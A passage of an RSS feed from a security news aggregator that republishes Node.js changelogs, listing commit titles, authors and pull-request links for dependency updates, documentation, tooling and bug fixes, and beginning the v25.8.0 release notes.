<li>[<a href="https://github.com/nodejs/node/commit/b7fab70d56"><code>b7fab70d56</code></a>] - <em><strong>Revert</strong></em> "<strong>deps</strong>: V8: cherry-pick 7107287" (Richard Lau) <a href="https://github.com/nodejs/node/pull/62894" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62894/hovercard">#62894</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d936c30fb4"><code>d936c30fb4</code></a>] - <strong>deps</strong>: V8: cherry-pick 7107287 (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/62656" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62656/hovercard">#62656</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c91d00b6d4"><code>c91d00b6d4</code></a>] - <strong>deps</strong>: fix aix implicit declaration in OpenSSL (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/62656" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62656/hovercard">#62656</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0474a27c06"><code>0474a27c06</code></a>] - <strong>deps</strong>: libuv: revert 3a9a6e3e6b (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62511" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62511/hovercard">#62511</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7547e795ef"><code>7547e795ef</code></a>] - <strong>deps</strong>: update icu to 78.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62324" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62324/hovercard">#62324</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5bebd7eaea"><code>5bebd7eaea</code></a>] - <strong>deps</strong>: update libuv to 1.52.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61829" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61829/hovercard">#61829</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/87d7db1918"><code>87d7db1918</code></a>] - <strong>deps</strong>: patch V8 to 14.3.127.18 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61421" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61421/hovercard">#61421</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9d27d9a393"><code>9d27d9a393</code></a>] - <strong>deps</strong>: patch V8 to 14.3.127.17 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61058" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61058/hovercard">#61058</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bfc729cf19"><code>bfc729cf19</code></a>] - <strong>deps</strong>: patch V8 to 14.3.127.16 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60819" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60819/hovercard">#60819</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8716146d5b"><code>8716146d5b</code></a>] - <strong>deps</strong>: patch V8 to 14.3.127.14 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60743" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60743/hovercard">#60743</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/da71ab6895"><code>da71ab6895</code></a>] - <strong>deps</strong>: V8: cherry-pick highway@989a498fdf3 (Richard Lau) <a href="https://github.com/nodejs/node/pull/60682" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60682/hovercard">#60682</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/72d719dc00"><code>72d719dc00</code></a>] - <strong>deps</strong>: support madvise(3C) across ALL illumos revisions (Dan McDonald) <a href="https://github.com/nodejs/node/pull/58237" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58237/hovercard">#58237</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ecca2b0d64"><code>ecca2b0d64</code></a>] - <strong>deps</strong>: define V8_PRESERVE_MOST as no-op on Windows (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/56238" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/56238/hovercard">#56238</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/baefd4d5e2"><code>baefd4d5e2</code></a>] - <strong>deps</strong>: patch V8 to 14.2.231.17 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60647" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60647/hovercard">#60647</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/76d6be5fc5"><code>76d6be5fc5</code></a>] - <strong>deps</strong>: patch V8 to 14.2.231.16 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60544" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60544/hovercard">#60544</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e0ca993514"><code>e0ca993514</code></a>] - <strong>deps</strong>: patch V8 to 14.2.231.14 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60413" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60413/hovercard">#60413</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/de8386de4d"><code>de8386de4d</code></a>] - <strong>deps</strong>: V8: cherry-pick f93055fbd5aa (Olivier Flückiger) <a href="https://github.com/nodejs/node/pull/60105" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60105/hovercard">#60105</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/710105bab5"><code>710105bab5</code></a>] - <strong>deps</strong>: support madvise(3C) across ALL illumos revisions (Dan McDonald) <a href="https://github.com/nodejs/node/pull/58237" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58237/hovercard">#58237</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e5f3b9fe1"><code>6e5f3b9fe1</code></a>] - <strong>deps</strong>: define V8_PRESERVE_MOST as no-op on Windows (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/56238" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/56238/hovercard">#56238</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b2c5235254"><code>b2c5235254</code></a>] - <strong>doc</strong>: fix stray carriage return in packages.md (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62350" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62350/hovercard">#62350</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f38a739623"><code>f38a739623</code></a>] - <strong>doc</strong>: reserve NMV 146 for Electron 42 (Niklas Wenzel) <a href="https://github.com/nodejs/node/pull/62124" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62124/hovercard">#62124</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a57893b799"><code>a57893b799</code></a>] - <strong>doc</strong>: add Temporal section to Table of Contents (Richard Lau) <a href="https://github.com/nodejs/node/pull/61805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61805/hovercard">#61805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d4cc54b8c8"><code>d4cc54b8c8</code></a>] - <strong>doc</strong>: fix v24 changelog after security release (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61371" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61371/hovercard">#61371</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/659fd01b3e"><code>659fd01b3e</code></a>] - <strong>doc</strong>: fix v22 changelog after security release (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61371" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61371/hovercard">#61371</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6c96a63891"><code>6c96a63891</code></a>] - <strong>doc</strong>: fix v20 changelog after security release (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61371" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61371/hovercard">#61371</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a18f8c1693"><code>a18f8c1693</code></a>] - <strong>doc</strong>: reserve NMV 145 for Electron 41 (Niklas Wenzel) <a href="https://github.com/nodejs/node/pull/61291" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61291/hovercard">#61291</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/253b16fe14"><code>253b16fe14</code></a>] - <strong>doc</strong>: add note about rust toolchain version requirement (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60942" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60942/hovercard">#60942</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0177491df2"><code>0177491df2</code></a>] - <strong>doc</strong>: restore REPLACEME on assert change (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60848" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60848/hovercard">#60848</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dec0213c83"><code>dec0213c83</code></a>] - <strong>doc</strong>: add known issue to v24.11.0 release notes (Richard Lau) <a href="https://github.com/nodejs/node/pull/60467" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60467/hovercard">#60467</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f7ca0ae765"><code>f7ca0ae765</code></a>] - <strong>doc</strong>: remove Corepack documentation page (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/57663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57663/hovercard">#57663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a7d9c49490"><code>a7d9c49490</code></a>] - <strong>doc</strong>: reserve NMV 143 for Electron 40 (Shelley Vohr) <a href="https://github.com/nodejs/node/pull/60386" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60386/hovercard">#60386</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04a086a1f4"><code>04a086a1f4</code></a>] - <strong>esm</strong>: use wasm version of cjs-module-lexer (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60663/hovercard">#60663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a27052f2e0"><code>a27052f2e0</code></a>] - <em><strong>Revert</strong></em> "<strong>inspector</strong>: fix compressed responses" (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61502" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61502/hovercard">#61502</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/186c7a9c74"><code>186c7a9c74</code></a>] - <strong>inspector</strong>: fix compressed responses (Ruben Nogueira) <a href="https://github.com/nodejs/node/pull/61226" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61226/hovercard">#61226</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/012bf70908"><code>012bf70908</code></a>] - <strong>process</strong>: optimize asyncHandledRejections by using FixedQueue (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60854" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60854/hovercard">#60854</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1a88acbfa2"><code>1a88acbfa2</code></a>] - <strong>quic</strong>: fixup linting/formatting issues (James M Snell) <a href="https://github.com/nodejs/node/pull/62387" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62387/hovercard">#62387</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/79b960a2bc"><code>79b960a2bc</code></a>] - <strong>quic</strong>: update http3 impl details (James M Snell) <a href="https://github.com/nodejs/node/pull/62387" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62387/hovercard">#62387</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57186e5827"><code>57186e5827</code></a>] - <strong>quic</strong>: fix a handful of bugs and missing functionality (James M Snell) <a href="https://github.com/nodejs/node/pull/62387" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62387/hovercard">#62387</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/637bda0238"><code>637bda0238</code></a>] - <strong>sqlite</strong>: enable Percentile extension (Jurj Andrei George) <a href="https://github.com/nodejs/node/pull/61295" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61295/hovercard">#61295</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e619adfb86"><code>e619adfb86</code></a>] - <strong>src</strong>: workaround AIX libc++ std::filesystem bug (Richard Lau) <a href="https://github.com/nodejs/node/pull/62788" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62788/hovercard">#62788</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/79262ff860"><code>79262ff860</code></a>] - <strong>src</strong>: do not enable wasm trap handler if there's not enough vmem (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62132" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62132/hovercard">#62132</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2422ed8b5b"><code>2422ed8b5b</code></a>] - <strong>src</strong>: remove redundant <code>experimental_transform_types</code> from node_options.h (沈鸿飞) <a href="https://github.com/nodejs/node/pull/62058" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62058/hovercard">#62058</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a86db6be70"><code>a86db6be70</code></a>] - <strong>src</strong>: simplify handling of kNoAuthTagLength (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/61192" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61192/hovercard">#61192</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d546e7fd0b"><code>d546e7fd0b</code></a>] - <strong>src</strong>: tag more v8 aligned pointer slots (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60666" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60666/hovercard">#60666</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b8e264d3c3"><code>b8e264d3c3</code></a>] - <strong>src</strong>: tag v8 aligned pointer slots with embedder data type tags (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60602" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60602/hovercard">#60602</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cd391b5f11"><code>cd391b5f11</code></a>] - <strong>test</strong>: wpt for Wasm jsapi including new ESM Integration tests (Guy Bedford) <a href="https://github.com/nodejs/node/pull/59034" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59034/hovercard">#59034</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1baafcc882"><code>1baafcc882</code></a>] - <strong>test</strong>: update WPT resources, interfaces and WebCryptoAPI (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62389" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62389/hovercard">#62389</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6a84d4a17c"><code>6a84d4a17c</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 832efc09b4caf6b4569fbf9dc01bec3082a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62486" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62486/hovercard">#62486</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a98d9f6ad7"><code>a98d9f6ad7</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 9cf7092bdd603554bd8b63c216e8943cf9b (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62383" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62383/hovercard">#62383</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f6d02af01f"><code>f6d02af01f</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to f82ce7af0b79ac154b12e27ed800aeb9741 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62258" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62258/hovercard">#62258</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b5f069a27"><code>5b5f069a27</code></a>] - <strong>tools</strong>: bump nixpkgs-unstable pin to e38213b91d3786389a446dfce4ff5a8aaf6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62052" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62052/hovercard">#62052</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/13eb80f3b7"><code>13eb80f3b7</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to d1c15b7d5806069da59e819999d70e1cec0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61931" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61931/hovercard">#61931</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d1557a744"><code>4d1557a744</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 2343bbb58f99267223bc2aac4fc9ea301a1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61831" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61831/hovercard">#61831</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ecd979c95a"><code>ecd979c95a</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to ae67888ff7ef9dff69b3cf0cc0fbfbcd3a7 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61733" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61733/hovercard">#61733</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7de56bdee2"><code>7de56bdee2</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 6308c3b21396534d8aaeac46179c14c439a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61606" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61606/hovercard">#61606</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e33ce7a6fe"><code>e33ce7a6fe</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to ab9fbbcf4858bd6d40ba2bbec37ceb4ab6e (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61513" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61513/hovercard">#61513</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ba05a66774"><code>ba05a66774</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to be5afa0fcb31f0a96bf9ecba05a516c66fc (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61420" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61420/hovercard">#61420</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb5d066989"><code>bb5d066989</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 3146c6aa9995e7351a398e17470e15305e6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61340" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61340/hovercard">#61340</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d050aa87e8"><code>d050aa87e8</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 16c7794d0a28b5a37904d55bcca36003b91 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61272" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61272/hovercard">#61272</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2696391b18"><code>2696391b18</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 3edc4a30ed3903fdf6f90c837f961fa6b49 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61188" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61188/hovercard">#61188</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c5d3f5f9c8"><code>c5d3f5f9c8</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 7d853e518814cca2a657b72eeba67ae20eb (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61137" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61137/hovercard">#61137</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dcb9573d0f"><code>dcb9573d0f</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to f997fa0f94fb1ce55bccb97f60d41412ae8 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61057" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61057/hovercard">#61057</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bd426739dc"><code>bd426739dc</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to a672be65651c80d3f592a89b3945466584a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60980" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60980/hovercard">#60980</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/85852a3221"><code>85852a3221</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 59b6c96beacc898566c9be1052ae806f383 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60900" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60900/hovercard">#60900</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1e7eb90b39"><code>1e7eb90b39</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to a8d610af3f1a5fb71e23e08434d8d61a466 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60818" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60818/hovercard">#60818</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fb6b83c9ef"><code>fb6b83c9ef</code></a>] - <strong>tools</strong>: lint Temporal global (René) <a href="https://github.com/nodejs/node/pull/60793" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60793/hovercard">#60793</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/adb40439ca"><code>adb40439ca</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 71cf367cc2c168b0c2959835659c38f0a34 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60742" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60742/hovercard">#60742</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8a76958005"><code>8a76958005</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to ffcdcf99d65c61956d882df249a9be53e59 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60315" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60315/hovercard">#60315</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-03-03, Version 25.8.0 (Current), @richardlau]]></title>
<description><![CDATA[Notable Changes

[e55eddea2a] - build, doc: use new api doc tooling (flakey5) #57343
[4c181e2277] - (SEMVER-MINOR) sqlite: add limits property to DatabaseSync (Mert Can Altin) #61298
[46ee1eddd7] - (SEMVER-MINOR) src: add C++ support for diagnostics channels (RafaelGSS) #61869
[9ddd1a9c27] - (SEM...]]></description>
<link>https://tsecurity.de/de/3487710/downloads/2026-03-03-version-2580-current-richardlau/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487710/downloads/2026-03-03-version-2580-current-richardlau/</guid>
<pubDate>Tue, 05 May 2026 02:03:10 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/e55eddea2a"><code>e55eddea2a</code></a>] - <strong>build, doc</strong>: use new api doc tooling (flakey5) <a href="https://github.com/nodejs/node/pull/57343" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57343/hovercard">#57343</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c181e2277"><code>4c181e2277</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>sqlite</strong>: add limits property to DatabaseSync (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61298" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61298/hovercard">#61298</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46ee1eddd7"><code>46ee1eddd7</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src</strong>: add C++ support for diagnostics channels (RafaelGSS) <a href="https://github.com/nodejs/node/pull/61869" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61869/hovercard">#61869</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9ddd1a9c27"><code>9ddd1a9c27</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src,permission</strong>: add --permission-audit (RafaelGSS) <a href="https://github.com/nodejs/node/pull/61869" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61869/hovercard">#61869</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0d97ec4044"><code>0d97ec4044</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: expose worker ID for concurrent test execution (Ali Hassan) <a href="https://github.com/nodejs/node/pull/61394" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61394/hovercard">#61394</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/940b58c8c1"><code>940b58c8c1</code></a>] - <strong>buffer</strong>: optimize buffer.concat performance (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61721" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61721/hovercard">#61721</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0589b0e5a1"><code>0589b0e5a1</code></a>] - <strong>build</strong>: fix GN for new merve dep (Shelley Vohr) <a href="https://github.com/nodejs/node/pull/61984" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61984/hovercard">#61984</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f3d3968dcd"><code>f3d3968dcd</code></a>] - <em><strong>Revert</strong></em> "<strong>build</strong>: add temporal test on GHA windows" (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61810" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61810/hovercard">#61810</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e55eddea2a"><code>e55eddea2a</code></a>] - <strong>build, doc</strong>: use new api doc tooling (flakey5) <a href="https://github.com/nodejs/node/pull/57343" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57343/hovercard">#57343</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7715292f8"><code>b7715292f8</code></a>] - <strong>child_process</strong>: add tracing channel for spawn (Marco) <a href="https://github.com/nodejs/node/pull/61836" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61836/hovercard">#61836</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a32a598748"><code>a32a598748</code></a>] - <strong>crypto</strong>: fix missing nullptr check on RSA_new() (ndossche) <a href="https://github.com/nodejs/node/pull/61888" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61888/hovercard">#61888</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc384f95b3"><code>dc384f95b3</code></a>] - <strong>crypto</strong>: fix handling of null BUF_MEM* in ToV8Value() (Nora Dossche) <a href="https://github.com/nodejs/node/pull/61885" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61885/hovercard">#61885</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3337b095db"><code>3337b095db</code></a>] - <strong>crypto</strong>: fix potential null pointer dereference when BIO_meth_new() fails (Nora Dossche) <a href="https://github.com/nodejs/node/pull/61788" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61788/hovercard">#61788</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/51ded81139"><code>51ded81139</code></a>] - <strong>deps</strong>: update undici to 7.22.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62035" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62035/hovercard">#62035</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8aa2fde931"><code>8aa2fde931</code></a>] - <strong>deps</strong>: update minimatch to 10.2.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62016/hovercard">#62016</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57dc092eaf"><code>57dc092eaf</code></a>] - <strong>deps</strong>: upgrade npm to 11.11.0 (npm team) <a href="https://github.com/nodejs/node/pull/61994" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61994/hovercard">#61994</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/705bbd60a9"><code>705bbd60a9</code></a>] - <strong>deps</strong>: update simdjson to 4.3.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61930" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61930/hovercard">#61930</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d411d72e5"><code>4d411d72e5</code></a>] - <strong>deps</strong>: update acorn-walk to 8.3.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61928" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61928/hovercard">#61928</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f53a32ab84"><code>f53a32ab84</code></a>] - <strong>deps</strong>: update acorn to 8.16.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61925" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61925/hovercard">#61925</a></li>
